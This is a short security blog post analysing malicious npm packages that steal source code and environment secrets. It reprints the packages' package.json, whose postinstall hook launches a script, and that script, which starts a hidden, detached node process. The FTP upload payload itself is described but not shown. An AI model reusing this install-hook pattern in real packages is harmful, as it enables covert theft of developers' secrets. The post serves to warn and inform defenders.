New npm Malware Aims to Steal Cryptocurreny Secrets
Recently, Phylum's risk detection platform flagged a series of malicious npm packages. Ten "test" packages were uploaded that clearly intend to extract source code and confidential data, like environment variables. The attacker then replaced these test packages with identical code concealed inside legitimate sounding package names.
Here's the package.json
file:
{
"name": "binarium-client",
"version": "4.0.0",
"private": false,
"publishConfig": {
"access": "public"
},
"description": "",
"main": "main.js",
"scripts": {
"postinstall": "node preinstall.js",
"test": "echo \\"Error: no test specified\\" && exit 1"
},
"author": "lexi2",
"license": "ISC",
"dependencies": {
"archiver": "^5.3.1",
"ftp": "^0.3.10"
}
}
The interesting bits are the postinstall
and dependencies
section. After installation, it executes a preinstall.js
file. Additionally, the package requires archiver
, for creating .zip
files, and ftp
for uploading and downloading from an ftp server.
The preinstall.js
file contains code that should raise a few eyebrows by security minded devs.
const { spawn } = require('child_process');
const child = spawn('node', ['index.js'], {
detached: true,
stdio: 'ignore',
});
child.unref();
In short, it:
- Spawns a child
node
process runningindex.js
- Detaches that process from the parent
node
process - Suppresses any output from the process, so you don't know it's running
The index.js
source can be found here and is a few hundred lines long. But the TLDR is that it searches through certain directories for files that are likely to have source code and secrets, zips them up and uploads them via ftp to a remote server controlled by the attacker.
Attacks using npm packages are particularly difficult to sniff out because of the dependency tree complexity in the whole ecosystem. A malicious package could be 6 or more layers deep and you'd never know.
Frankly, it's an impossible problem to solve. But that's how security is. Nothing is 100% secure, but instead you strive for constant improvement. Though the JavaScript ecosystem does seem to be particularly good at giving bad advice.